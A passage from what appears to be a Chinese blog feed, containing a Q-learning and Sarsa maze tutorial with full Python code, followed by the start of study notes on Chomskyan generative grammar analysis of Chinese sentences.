class="hljs-keyword">lambda</span>: <span class="hljs-built_in">eval</span>(q_table, maze_gui)).start()    maze_gui.root.mainloop()    <span class="hljs-comment"># 创建并显示迷宫实例</span>    <span class="hljs-comment"># my_maze = Maze(4,4)</span>    <span class="hljs-comment"># print(&quot;Generated Maze:&quot;)</span>    <span class="hljs-comment"># # my_maze.display()</span>    <span class="hljs-comment"># #</span>    <span class="hljs-comment"># # # 保存迷宫到文件</span>    <span class="hljs-comment"># my_maze.save(&#x27;my_maze.txt&#x27;)</span>    <span class="hljs-comment">#</span>    <span class="hljs-comment"># # # 从文件加载并显示迷宫</span>    <span class="hljs-comment"># loaded_maze = Maze.load(&#x27;my_maze.txt&#x27;)</span>    <span class="hljs-comment"># app = MazeGUI(loaded_maze)</span>    <span class="hljs-comment"># app.run()  # 显示迷宫</span>    <span class="hljs-comment"># print(&quot;\nLoaded Maze:&quot;)</span>    <span class="hljs-comment"># loaded_maze.display()</span></code></pre><p>最终效果展示：</p><p><img src="image-20240402104515416.png" alt="image-20240402104515416" /></p><h4 id="存在问题"><a class="markdownIt-Anchor" href="#存在问题"></a> 存在问题</h4><ol><li>q-table创建没有使用动态创建，这会导致q-table的index不足或者浪费的情况出现。</li><li>chooce action中idxmax只返回在请求轴上第一次出现最大值的索引，这回忽略当出现每种决策相同概率时 只会选择第一个的问题。</li></ol><h4 id="解决方案"><a class="markdownIt-Anchor" href="#解决方案"></a> 解决方案</h4><ol><li>对QLearning单独建立类，并且初始化q_table内容为空。利用check_state_exist检查当前states索引以及之前的索引是否存在，不存在则新建。</li><li>使用state_actions.sample(frac=1)来打乱action所在位置，<a href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.sample.html">sample</a>函数用于随机样本获取。</li><li>修改save_q_table时，依赖当前路径的总步数，保存最优解</li></ol><pre class="highlight"><code class="">class QLearning:    def __init__(self, actions: list[str], learning_rate=0.1, reward_decay=0.9, epsilon=0.1):        self.actions = actions  # 动作空间        self.lr = learning_rate  # 学习率        self.gamma = reward_decay  # 奖励衰减        self.epsilon = epsilon  # 探索概率        self.q_table = pd.DataFrame(columns=self.actions, dtype=np.float64)  # 初始化空的Q表        self.min_steps = float('inf')  # 初始化最少步数为无穷大        self.best_q_table = None  # 存储步数最少时的Q表    def check_state_exist(self, state):        # 检查并添加状态到Q表，包括之前的所有未添加的状态        if state not in self.q_table.index:            # 假设状态是整数且连续，我们需要填补所有缺失的状态，直至当前状态            missing_states = [s for s in                              range(min(self.q_table.index.astype(int).min(), state) if not self.q_table.empty else 0,                                    state + 1) if s not in self.q_table.index]            for s in missing_states:                # 添加缺失的状态到Q表                self.q_table = self.q_table._append(                    pd.Series(                        [0] * len(self.actions),                        index=self.q_table.columns,                        name=s,                    )                )    def choose_action(self, state):        self.check_state_exist(state)  # 确保状态在Q表中        # 根据当前状态来选择动作        state_actions: np.ndarray = self.q_table.iloc[state, :]        if np.random.uniform() &lt; self.epsilon or state_actions.all() == 0:            # 探索：以ε的概率执行随机动作            action = np.random.choice(self.actions)        else:            # 利用：以1 - ε的概率执行当前最优动作（贪婪选择）            shuffled_actions = state_actions.sample(frac=1)  # 使用sample与frac=1来随机打乱            action = shuffled_actions.idxmax()        return action    def save_q_table(self, steps):        if steps &lt; self.min_steps:            self.min_steps = steps            self.best_q_table = self.q_table.copy()  # 更新最佳Q表副本            date_suffix = datetime.now().strftime(&quot;%Y-%m-%d&quot;)            filename = f&quot;q_learning_q_table_&#123;date_suffix&#125;.npy&quot;            np.save(filename, self.best_q_table)            print(f&quot;Q-table saved to &#123;filename&#125;&quot;)    def learn(self, s, a, r, s_):        # 学习过程，根据q-learning公式更新Q表        q_predict = self.q_table.loc[s, a]        if r != 1:            s__idx = maze.state_to_index(s_)            self.check_state_exist(s__idx)  # 确保next_states在Q表中            q_target = r + self.gamma * self.q_table.iloc[s__idx, :].max()        else:            q_target = r        self.q_table.loc[s, a] += self.lr * (q_target - q_predict)  # 更新q-table</code></pre><p>更新后的train，实时保存最优解</p><pre class="highlight"><code class="">def train(maze):    q_learning = QLearning(ACTIONS, learning_rate=ALPHA, reward_decay=LAMBDA, epsilon=EPSILON)    for episode in range(STEP):        step_counter = 0        S = maze.start_local        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        while True:            S_INDEX = maze.state_to_index(S)            A = q_learning.choose_action(S_INDEX)            observation_, reward = maze.get_env_feedback(S, A)            q_learning.learn(S_INDEX, A, reward, observation_)            S = observation_            step_counter += 1            maze.update_env(maze, S, episode=episode, step_counter=step_counter)            if reward == 1:                break        q_learning.save_q_table(step_counter)    print(&quot;beat steps: &#123;&#125;&quot;.format(q_learning.min_steps))    return q_learning.best_q_table</code></pre><h2 id="sarsa"><a class="markdownIt-Anchor" href="#sarsa"></a> Sarsa</h2><h3 id="原理-2"><a class="markdownIt-Anchor" href="#原理-2"></a> 原理</h3><p>参考视频：<a href="https://www.bilibili.com/video/BV13W411Y75P">https://www.bilibili.com/video/BV13W411Y75P</a></p><p>与Q-Learning不同，SARSA 是一个在线策略（on-policy）学习算法。这意味着它在更新值函数时考虑了当前策略下智能体实际会执行的动作。</p><h4 id="算法特点"><a class="markdownIt-Anchor" href="#算法特点"></a> 算法特点</h4><p><strong>在线策略（On-policy）</strong>：SARSA评估和改进的是同一策略，即智能体在学习时实际遵循的策略。</p><p><strong>探索与利用</strong>：通过 ε-贪婪策略或其他策略可以平衡探索（exploration）新状态-动作对和利用（exploitation）已知的最佳状态-动作对。</p><p><strong>收敛性</strong>：在适当的条件下（如足够长时间的训练和适当的衰减学习率），SARSA算法可以收敛到最优策略。</p><h4 id="与q-learning主要区别"><a class="markdownIt-Anchor" href="#与q-learning主要区别"></a> 与Q-Learning主要区别</h4><ul><li><strong>策略类型</strong>：Q-Learning 是离线策略，意味着它在学习最优策略时无需遵循该策略。相反，SARSA 是在线策略，它必须遵循当前的策略进行学习。</li><li><strong>风险态度</strong>：由于 Q-Learning 考虑的是最优动作，它可能会表现得更加积极（风险偏好）。而SARSA将会考虑当前的探索水平，因此它在更新过程中可能更加保守（风险规避）。</li><li><strong>收敛性</strong>：两者都可以在适当的条件下收敛到最优策略。然而，在含有随机因素或是动作选择有噪声的情况下，由于SARSA较为保守，它通常会更稳健一些。</li></ul><h3 id="迷宫实例-2"><a class="markdownIt-Anchor" href="#迷宫实例-2"></a> 迷宫实例</h3><h4 id="environment-2"><a class="markdownIt-Anchor" href="#environment-2"></a> Environment</h4><p>与Q-learning完全一致</p><h4 id="agent-2"><a class="markdownIt-Anchor" href="#agent-2"></a> <strong>Agent</strong></h4><p>基本与Q-learning一致，只有learn函数需要修改为sarsa算法</p><pre class="highlight"><code class="">class Sarsa:    def __init__(self, actions: list[str], learning_rate=0.1, reward_decay=0.9, epsilon=0.1):        self.actions = actions  # 动作空间        self.lr = learning_rate  # 学习率        self.gamma = reward_decay  # 奖励衰减        self.epsilon = epsilon  # 探索概率        self.q_table = pd.DataFrame(columns=self.actions, dtype=np.float64)  # 初始化空的Q表        self.min_steps = float('inf')  # 初始化最少步数为无穷大        self.best_q_table = None  # 存储步数最少时的Q表    def check_state_exist(self, state):        # 检查并添加状态到Q表，包括之前的所有未添加的状态        if state not in self.q_table.index:            # 假设状态是整数且连续，我们需要填补所有缺失的状态，直至当前状态            missing_states = [s for s in                              range(min(self.q_table.index.astype(int).min(), state) if not self.q_table.empty else 0,                                    state + 1) if s not in self.q_table.index]            for s in missing_states:                # 添加缺失的状态到Q表                self.q_table = self.q_table._append(                    pd.Series(                        [0] * len(self.actions),                        index=self.q_table.columns,                        name=s,                    )                )    def choose_action(self, state):        self.check_state_exist(state)  # 确保状态在Q表中        # 根据当前状态来选择动作        state_actions: np.ndarray = self.q_table.iloc[state, :]        if np.random.uniform() &lt; self.epsilon or state_actions.all() == 0:            # 探索：以ε的概率执行随机动作            action = np.random.choice(self.actions)        else:            # 利用：以1 - ε的概率执行当前最优动作（贪婪选择）            shuffled_actions = state_actions.sample(frac=1)  # 使用sample与frac=1来随机打乱            action = shuffled_actions.idxmax()        return action    def save_q_table(self, steps):        if steps &lt; self.min_steps:            self.min_steps = steps            self.best_q_table = self.q_table.copy(deep=True)  # 更新最佳Q表副本            date_suffix = datetime.now().strftime(&quot;%Y-%m-%d&quot;)            filename = f&quot;sarsa_q_table_&#123;date_suffix&#125;.npy&quot;            np.save(filename, self.best_q_table)            print(f&quot;Q-table saved to &#123;filename&#125;&quot;)    def learn(self, s, a, r, next_s, next_action):        self.check_state_exist(next_s)  # 确保next_states在Q表中        # 学习过程，根据q-learning公式更新Q表        q_predict = self.q_table.loc[s, a]        if r != 1:            q_target = r + self.gamma * self.q_table.loc[next_s, next_action]  # 只对next action进行计算        else:            q_target = r        self.q_table.loc[s, a] += self.lr * (q_target - q_predict)  # 更新q-table</code></pre><h4 id="train-2"><a class="markdownIt-Anchor" href="#train-2"></a> Train</h4><p>需要将action计算放在初始轮中，并且迭代。</p><pre class="highlight"><code class="">def train(maze):    sarsa = Sarsa(ACTIONS, learning_rate=ALPHA, reward_decay=LAMBDA, epsilon=EPSILON)    for episode in range(STEP):        step_counter = 0        S = maze.start_local        S_INDEX = maze.state_to_index(S)        A = sarsa.choose_action(S_INDEX)        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        while True:            observation_, reward = maze.get_env_feedback(S, A)            next_s_idx = maze.state_to_index(observation_)            next_action = sarsa.choose_action(next_s_idx)            sarsa.learn(S_INDEX, A, reward, next_s_idx, next_action)            S = observation_            A = next_action            step_counter += 1            maze.update_env(maze, S, episode=episode, step_counter=step_counter)            if reward == 1:                break        sarsa.save_q_table(step_counter)    print(&quot;beat steps: &#123;&#125;&quot;.format(sarsa.min_steps))    return sarsa.best_q_table</code></pre><p>训练结果截图(注意 由于保守的策略，需要更多轮训练才会得到最优的结果)：</p><p><img src="image-20240409085515767.png" alt="image-20240409085515767" /></p><h4 id="evaluate-2"><a class="markdownIt-Anchor" href="#evaluate-2"></a> Evaluate</h4><p>与q-learning完全一致</p><h4 id="完整代码"><a class="markdownIt-Anchor" href="#完整代码"></a> 完整代码</h4><pre class="highlight"><code class="python"><span class="hljs-keyword">import</span> random<span class="hljs-keyword">import</span> threading<span class="hljs-keyword">import</span> time<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime<span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd<span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np<span class="hljs-keyword">from</span> MazeGen <span class="hljs-keyword">import</span> MazeGUI, MazeACTIONS = [<span class="hljs-string">&#x27;LEFT&#x27;</span>, <span class="hljs-string">&#x27;RIGHT&#x27;</span>, <span class="hljs-string">&#x27;UP&#x27;</span>, <span class="hljs-string">&#x27;DOWN&#x27;</span>]EPSILON = <span class="hljs-number">0.2</span>  <span class="hljs-comment"># 策略选择</span>ALPHA = <span class="hljs-number">0.1</span>  <span class="hljs-comment"># learning rate</span>LAMBDA = <span class="hljs-number">0.9</span>  <span class="hljs-comment"># 衰减值： 0完全不看未来的结果，1考虑未来的每一个结果</span>STEP = <span class="hljs-number">100</span>  <span class="hljs-comment"># 训练轮数</span>FRESH_TIME = <span class="hljs-number">0.3</span>  <span class="hljs-comment"># 每一步骤停顿时间</span>random.seed(<span class="hljs-number">13</span>)<span class="hljs-keyword">class</span> <span class="hljs-title class_">Sarsa</span>:    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, actions: <span class="hljs-built_in">list</span>[<span class="hljs-built_in">str</span>], learning_rate=<span class="hljs-number">0.1</span>, reward_decay=<span class="hljs-number">0.9</span>, epsilon=<span class="hljs-number">0.1</span></span>):        self.actions = actions  <span class="hljs-comment"># 动作空间</span>        self.lr = learning_rate  <span class="hljs-comment"># 学习率</span>        self.gamma = reward_decay  <span class="hljs-comment"># 奖励衰减</span>        self.epsilon = epsilon  <span class="hljs-comment"># 探索概率</span>        self.q_table = pd.DataFrame(columns=self.actions, dtype=np.float64)  <span class="hljs-comment"># 初始化空的Q表</span>        self.min_steps = <span class="hljs-built_in">float</span>(<span class="hljs-string">&#x27;inf&#x27;</span>)  <span class="hljs-comment"># 初始化最少步数为无穷大</span>        self.best_q_table = <span class="hljs-literal">None</span>  <span class="hljs-comment"># 存储步数最少时的Q表</span>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">check_state_exist</span>(<span class="hljs-params">self, state</span>):        <span class="hljs-comment"># 检查并添加状态到Q表，包括之前的所有未添加的状态</span>        <span class="hljs-keyword">if</span> state <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> self.q_table.index:            <span class="hljs-comment"># 假设状态是整数且连续，我们需要填补所有缺失的状态，直至当前状态</span>            missing_states = [s <span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span>                              <span class="hljs-built_in">range</span>(<span class="hljs-built_in">min</span>(self.q_table.index.astype(<span class="hljs-built_in">int</span>).<span class="hljs-built_in">min</span>(), state) <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> self.q_table.empty <span class="hljs-keyword">else</span> <span class="hljs-number">0</span>,                                    state + <span class="hljs-number">1</span>) <span class="hljs-keyword">if</span> s <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> self.q_table.index]            <span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span> missing_states:                <span class="hljs-comment"># 添加缺失的状态到Q表</span>                self.q_table = self.q_table._append(                    pd.Series(                        [<span class="hljs-number">0</span>] * <span class="hljs-built_in">len</span>(self.actions),                        index=self.q_table.columns,                        name=s,                    )                )    <span class="hljs-keyword">def</span> <span class="hljs-title function_">choose_action</span>(<span class="hljs-params">self, state</span>):        self.check_state_exist(state)  <span class="hljs-comment"># 确保状态在Q表中</span>        <span class="hljs-comment"># 根据当前状态来选择动作</span>        state_actions: np.ndarray = self.q_table.iloc[state, :]        <span class="hljs-keyword">if</span> np.random.uniform() &lt; self.epsilon <span class="hljs-keyword">or</span> state_actions.<span class="hljs-built_in">all</span>() == <span class="hljs-number">0</span>:            <span class="hljs-comment"># 探索：以ε的概率执行随机动作</span>            action = np.random.choice(self.actions)        <span class="hljs-keyword">else</span>:            <span class="hljs-comment"># 利用：以1 - ε的概率执行当前最优动作（贪婪选择）</span>            shuffled_actions = state_actions.sample(frac=<span class="hljs-number">1</span>)  <span class="hljs-comment"># 使用sample与frac=1来随机打乱</span>            action = shuffled_actions.idxmax()        <span class="hljs-keyword">return</span> action    <span class="hljs-keyword">def</span> <span class="hljs-title function_">save_q_table</span>(<span class="hljs-params">self, steps</span>):        <span class="hljs-keyword">if</span> steps &lt; self.min_steps:            self.min_steps = steps            self.best_q_table = self.q_table.copy(deep=<span class="hljs-literal">True</span>)  <span class="hljs-comment"># 更新最佳Q表副本</span>            date_suffix = datetime.now().strftime(<span class="hljs-string">&quot;%Y-%m-%d&quot;</span>)            filename = <span class="hljs-string">f&quot;sarsa_q_table_<span class="hljs-subst">&#123;date_suffix&#125;</span>.npy&quot;</span>            np.save(filename, self.best_q_table)            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Q-table saved to <span class="hljs-subst">&#123;filename&#125;</span>&quot;</span>)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">learn</span>(<span class="hljs-params">self, s, a, r, next_s, next_action</span>):        self.check_state_exist(next_s)  <span class="hljs-comment"># 确保next_states在Q表中</span>        <span class="hljs-comment"># 学习过程，根据q-learning公式更新Q表</span>        q_predict = self.q_table.loc[s, a]        <span class="hljs-keyword">if</span> r != <span class="hljs-number">1</span>:            q_target = r + self.gamma * self.q_table.loc[next_s, next_action]  <span class="hljs-comment"># 只对next action进行计算</span>        <span class="hljs-keyword">else</span>:            q_target = r        self.q_table.loc[s, a] += self.lr * (q_target - q_predict)  <span class="hljs-comment"># 更新q-table</span><span class="hljs-keyword">def</span> <span class="hljs-title function_">train</span>(<span class="hljs-params">maze</span>):    sarsa = Sarsa(ACTIONS, learning_rate=ALPHA, reward_decay=LAMBDA, epsilon=EPSILON)    <span class="hljs-keyword">for</span> episode <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(STEP):        step_counter = <span class="hljs-number">0</span>        S = maze.start_local        S_INDEX = maze.state_to_index(S)        A = sarsa.choose_action(S_INDEX)        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:            observation_, reward = maze.get_env_feedback(S, A)            next_s_idx = maze.state_to_index(observation_)            next_action = sarsa.choose_action(next_s_idx)            sarsa.learn(S_INDEX, A, reward, next_s_idx, next_action)            S = observation_            A = next_action            step_counter += <span class="hljs-number">1</span>            maze.update_env(maze, S, episode=episode, step_counter=step_counter)            <span class="hljs-keyword">if</span> reward == <span class="hljs-number">1</span>:                <span class="hljs-keyword">break</span>        sarsa.save_q_table(step_counter)    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;beat steps: &#123;&#125;&quot;</span>.<span class="hljs-built_in">format</span>(sarsa.min_steps))    <span class="hljs-keyword">return</span> sarsa.best_q_table<span class="hljs-keyword">def</span> <span class="hljs-title function_">eval</span>(<span class="hljs-params">q_table, maze_gui</span>):    S = maze_gui.maze.start_local    is_final = <span class="hljs-literal">False</span>    maze_gui.reset()  <span class="hljs-comment"># 重置迷宫到初始状态，并在GUI中更新</span>    <span class="hljs-keyword">while</span> <span class="hljs-keyword">not</span> is_final:        S_INDEX = maze_gui.maze.state_to_index(S)        <span class="hljs-comment"># 总是选择最佳动作</span>        A = q_table.iloc[S_INDEX, :].idxmax()        observation_, reward = maze_gui.maze.get_env_feedback(S, A)        <span class="hljs-comment"># 对 GUI 做出更新</span>        maze_gui.gui_queue.put(observation_)        <span class="hljs-comment"># 延迟一小段时间，以便观察到玩家移动</span>        time.sleep(<span class="hljs-number">0.3</span>)        S = observation_  <span class="hljs-comment"># 更新当前状态</span>        <span class="hljs-comment"># 终点检测</span>        <span class="hljs-keyword">if</span> reward == <span class="hljs-number">1</span>:            is_final = <span class="hljs-literal">True</span>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Evaluation complete.&quot;</span>)<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:    maze = Maze.load(<span class="hljs-string">&#x27;my_maze.txt&#x27;</span>)    q_table = train(maze)    <span class="hljs-built_in">print</span>(q_table)    maze_gui = MazeGUI(maze)    threading.Thread(target=<span class="hljs-keyword">lambda</span>: <span class="hljs-built_in">eval</span>(q_table, maze_gui)).start()    maze_gui.root.mainloop()</code></pre>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;q-learning&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#q-learning&quot;&gt;&lt;/a&gt; Q-Learning&lt;/h2&gt;
&lt;h3 id=&quot;原理&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#原理&quot;&gt;&lt;/a&gt; 原理&lt;/h3&gt;
&lt;p&gt;课程参考：&lt;a href=&quot;https://www.bilibili.com/video/BV13W411Y75P&quot;&gt;https://www.bilibili.com/video/BV13W411Y75P&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Q-Learning是属于值函数近似算法中，蒙特卡洛方法和时间差分法相结合的算法。这种算法使得智能体（agent）能够在与环境互动的过程中学习如何采取动作以最大化累积奖励。Q-learning特别适用于解决决策过程问题，尤其是那些状态和动作空间定义明确的问题。&lt;/p&gt;
&lt;p&gt;Q-Learning 是一个离线策略（off-policy）学习算法。在Q-Learning中，智能体学习的是一个与其实际执行动作无关的优化策略。也就是说，当它在探索更多的状态-动作对时，它学习的是最优策略。同时，在更新q-table中的值时，并不考虑下一步实际执行的动作是什么，而是假设采取的是让next_state下q-table值最大的动作。&lt;/p&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="RL" scheme="http://ioo0s.art/tags/RL/"/>
    
  </entry>
  
  <entry>
    <title>乔姆斯基生成语法分析笔记</title>
    <link href="http://ioo0s.art/2024/02/04/%E4%B9%94%E5%A7%86%E6%96%AF%E5%9F%BA%E7%94%9F%E6%88%90%E8%AF%AD%E6%B3%95%E5%88%86%E6%9E%90%E7%AC%94%E8%AE%B0/"/>
    <id>http://ioo0s.art/2024/02/04/%E4%B9%94%E5%A7%86%E6%96%AF%E5%9F%BA%E7%94%9F%E6%88%90%E8%AF%AD%E6%B3%95%E5%88%86%E6%9E%90%E7%AC%94%E8%AE%B0/</id>
    <published>2024-02-04T04:06:00.000Z</published>
    <updated>2024-02-04T04:21:51.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="常见短语"><a class="markdownIt-Anchor" href="#常见短语"></a> 常见短语</h2><table><thead><tr><th>短语缩写</th><th>构成</th><th>例子</th><th>中文名称</th></tr></thead><tbody><tr><td>NP</td><td>NP-&gt;NN</td><td>武器</td><td>名词短语</td></tr><tr><td>DP</td><td>D+NP</td><td>那书</td><td>限定词短语</td></tr><tr><td>AP</td><td>ADJ+NP</td><td>干净的水</td><td>形容词短语</td></tr><tr><td>AP</td><td>ADV+ADJP</td><td>很晚</td><td>副词短语</td></tr><tr><td>VP</td><td>V+DP</td><td>读书</td><td>动词短语</td></tr><tr><td>PP</td><td>P+DP</td><td>在桌子上</td><td>介词短语</td></tr><tr><td>ConJP</td><td>DP+Conj+DP</td><td>一支笔和一本书</td><td>并列结构连词短语</td></tr><tr><td>S（IP）</td><td>DP+VP</td><td></td><td>句子/通常会用TP代替IP带时态</td></tr><tr><td>IP</td><td>D+I+V+D+N<br />代词 + 动词 + 曲折变化 + 代词 + 名词</td><td></td><td>句子/其中I 指曲折变化</td></tr></tbody></table><span id="more"></span><h2 id="部分笔记"><a class="markdownIt-Anchor" href="#部分笔记"></a> 部分笔记</h2><h3 id="ip"><a class="markdownIt-Anchor" href="#ip"></a> IP</h3><p>句子的中心词时I（inflection 曲折）</p><p>S = IP</p><p>inflection：性、数、时、体</p><h3 id="论元结构分析"><a class="markdownIt-Anchor" href="#论元结构分析"></a> 论元结构分析</h3><p>游泳 v1 -&gt; 一 价元 动词 -&gt; NP +v1 (v1 的配价论元结构)</p><p>参观 v2 -&gt; 二 价元 动词 -&gt; NP1 + V2 + NP2 (v2的配价论元结构)</p><p>给/送 v3 -&gt; 三 价元 动词 -&gt; NP1 + V3 + NP2 +NP3 （v3的配价论元结构）</p><h3 id="空范畴理论"><a class="markdownIt-Anchor" href="#空范畴理论"></a> 空范畴理论</h3><h4 id="空范畴定义"><a class="markdownIt-Anchor" href="#空范畴定义"></a> 空范畴定义</h4><p>例子：</p><p>张三打算游泳</p><p>张三 + 打算 = NP + V1</p><p>张三 + 游泳 = NP +V1</p><p>但是在句子中游泳前面的论元（NP）并没有出现，这种类型叫做空范畴</p><p>句式分析结果:</p><pre class="highlight"><code class="">(TOP (IP (NP (NR 张三)) (VP (VV 打算) (IP (VP (VV 游泳))))))</code></pre><h4 id="三类空范畴空语类"><a class="markdownIt-Anchor" href="#三类空范畴空语类"></a> 三类空范畴（空语类）</h4><ol><li>由于移位造成的空范畴，用t（trace）表示</li></ol><p>​参观 V2:   NP1 + V2 +NP2</p><p>​北京大学我们参观过了 -&gt; 参观=V2，我们=NP1，北京大学=NP2，但是在句子中<code>参观</code>后并没有出现NP2，这种情况就是由于位移造成的空范畴</p><p>句式分析结果:</p><pre class="highlight"><code class="">(TOP  (IP (NP (NR 北京) (NN 大学)) (NP (PN 我们)) (VP (VV 参观) (AS 过)) (SP 了)))</code></pre><ol start="2"><li><p>由于隐含造成的空范畴，用PRO（prod）表示</p><p>张三打算游泳 -&gt; 打算=V1，NP1 =张三，游泳=V1 ，在句子中 游泳需要一个论元，构成张三游泳，但实际上这个论元隐含了。</p></li><li><p>由于省略造成的空范畴，用pro 表示</p><p>给 V3：NP1 + V3 +NP2 + NP3</p><p>张三买了3斤苹果， 给了他弟弟3个苹果 -&gt; 给 V3 ，他弟弟=NP2，3个苹果 = NP3，缺少NP1=他（张三）</p></li></ol><h3 id="轻动词分词理论"><a class="markdownIt-Anchor" href="#轻动词分词理论"></a> 轻动词分词理论</h3><p>双宾结构：（NP1）+ <strong>V3 + NP2 + NP3</strong></p><p>例子： 我弟弟已经交老师一份作业</p><p>句式分析结果：</p><pre class="highlight"><code class="">(TOP  (IP    (NP (NP (PN 我)) (NP (NN 弟弟)))    (VP      (ADVP (AD 已经))      (VP        (VV 交)        (NP (NN 老师))        (NP (QP (CD 一) (CLP (M 份))) (NP (NN 作业)))))))</code></pre><p>空壳动词理论（verb shell）： 给他一本书 = VP，存在一个VP[ +VP]，最外层的VP是个空的</p><h4 id="对致使结构的解释"><a class="markdownIt-Anchor" href="#对致使结构的解释"></a> 对致使结构的解释</h4><ol><li><p>用词汇手段解释  “使”、“让”</p></li><li><p>用句法手段解释</p><p>那黑影下了我一跳 -&gt; 那黑影 V’[致使] 我<u>下了</u>一跳 -附着&gt; 那黑影 <u>V’[使]下了</u>我一跳</p></li></ol><h4 id="对存现句施事宾语的解释"><a class="markdownIt-Anchor" href="#对存现句施事宾语的解释"></a> 对存现句（施事宾语）的解释</h4><p>台上坐着主席团 -&gt; 台上V’[存在] 主席团<u>坐着</u> -附着&gt; 台上 <u>V’[存在]坐着</u>主席团</p><p>前面来了老太太 -&gt; 前面V’[存在]老太太<u>来了</u> -附着&gt; 前面<u>V’[存在]&gt;来了</u>老太太</p><p>村里死了一头牛 -&gt; 村里V’[存在] 一头牛<u>死了</u> -附着&gt; 村里<u>V’[存在]死了</u> 一头牛</p><h3 id="非受事宾语的解释"><a class="markdownIt-Anchor" href="#非受事宾语的解释"></a> 非受事宾语的解释</h3><p>吃<u>大碗</u>：代替性宾语 -&gt;吃大碗的食物</p><p>句式分析结果：</p><pre class="highlight"><code class="">(TOP (IP (VP (VV 吃) (NP (NN 大碗)))))</code></pre><h4 id="分类"><a class="markdownIt-Anchor" href="#分类"></a> 分类</h4><ol><li>施事宾语（参考存现句）</li><li>工具宾语</li></ol><p>吃大碗 -&gt; 我 V’[使用]大碗<u>吃</u> -附着&gt;  <u>V’[使用]吃</u>大碗</p><p>切那把刀 -&gt; 我 V’[使用]那把刀<u>切</u> -附着&gt; <u>V’[使用]切</u>那把刀</p><ol start="3"><li><p>致使宾语（参考致使结构解释）</p></li><li><p>方式宾语</p><p>我存活期 -&gt; 我V’[用]活期<u>存</u> -附着&gt; 我<u>V’[用]存</u>活期</p><p>他唱C调 -&gt; 他V’[用]C调<u>唱</u> -附着&gt; 他<u>V’[用]唱</u>C调</p></li><li><p>目的宾语</p><p>打扫卫生 -&gt; 主语 + V[为了] +卫生<u>打扫</u> -附着&gt;  <u>V[为了]打扫</u>卫生</p><p>排电影票 -&gt;主语 + V[为了]  +电影票<u>排</u> -附着&gt; <u>V[为了] 拍</u>电影票</p><p>跑材料 -&gt;主语 + V[为了]  + 材料<u>跑</u> -附着&gt; <u>V[为了]跑</u>材料</p></li></ol><h3 id="中心词理论"><a class="markdownIt-Anchor" href="#中心词理论"></a> 中心词理论</h3><p>标杠理论</p><p>举例争论：</p><p>春天的到来 N的V</p><p>狐狸的狡猾 N的V</p><p><strong>中心词特点：可以渗透给由他组合的上一层结构，任何一个结构都有中心词</strong></p><p><strong>中心词概念：XY的性质如果由X的作用造成的，那么X就是XY的中心。如果XY的性质是由Y的作用造成的，那么Y就是XY的中心。</strong></p><h4 id="句法结构布拉菲尔德language提出"><a class="markdownIt-Anchor" href="#句法结构布拉菲尔德language提出"></a> 句法结构（布拉菲尔德Language提出）：</h4><ol><li><p>向心结构：</p><p>如果XY=X 例如 吃苹果=吃</p><p>或者 XY=Y  例如 干净衣服 = 衣服</p><p>或者 XY=x or y 例如 哥哥弟弟 = 哥哥 or 弟弟</p><p>称为向心结构</p></li><li><p>离心结构：</p><p>如果 XY != X and XY !=Y 这种结构为离心结构</p><p>例如 介词结构：把书 != 把、把书 !=书</p><p>​ 的字结构：吃的 != 吃、吃的 != 的</p></li></ol><h4 id="中心词比对"><a class="markdownIt-Anchor" href="#中心词比对"></a> 中心词比对</h4><table><thead><tr><th>实例</th><th>布拉菲尔德（向心结构）</th><th>乔姆斯基（中心词理论）</th></tr></thead><tbody><tr><td>干净衣服</td><td>衣服</td><td>衣服</td></tr><tr><td>吃苹果</td><td>吃</td><td>吃</td></tr><tr><td>吃了</td><td>吃</td><td>了</td></tr><tr><td>三个苹果</td><td>苹果</td><td>三个</td></tr><tr><td>吃的</td><td>无/无中心</td><td>的</td></tr></tbody></table><h4 id="使用中心词理论对n的v句式分析"><a class="markdownIt-Anchor" href="#使用中心词理论对n的v句式分析"></a> 使用中心词理论对N的V句式分析</h4><p>春天的到来</p><p>这本书的出版</p><p>狐狸的狡猾</p><p><strong>中心词<code>的</code>是名词成分，造成名词性成分。</strong></p><h5 id="的在中间的根据"><a class="markdownIt-Anchor" href="#的在中间的根据"></a> <code>的</code>在中间的根据：</h5><ol><li><p>从理论上来说，符合插入性扩展的理论</p></li><li><p>有先例：他说写</p></li><li><p>在先前语法论著中，将“春天的到来”这类结构归入<strong>主谓短语</strong></p></li></ol><p><strong><code>的</code>字跟一个主谓结构，可以造成两种类型的主谓结构</strong></p><ol><li><p>（主语+谓语 ）+ 的 （称为甲类）</p><p>妈妈做的衣服 -&gt; 妈妈做的</p><p>张三写的文章 -&gt; 张三写的</p></li><li><p>主语 + 的 + 谓语（称为乙类）</p><p>春天的到来</p><p>狐狸的狡猾</p></li></ol><h5 id="语义表达类型"><a class="markdownIt-Anchor" href="#语义表达类型"></a> 语义表达类型</h5><ol><li>转指：指称和行为动作相关的事物 Read -&gt; 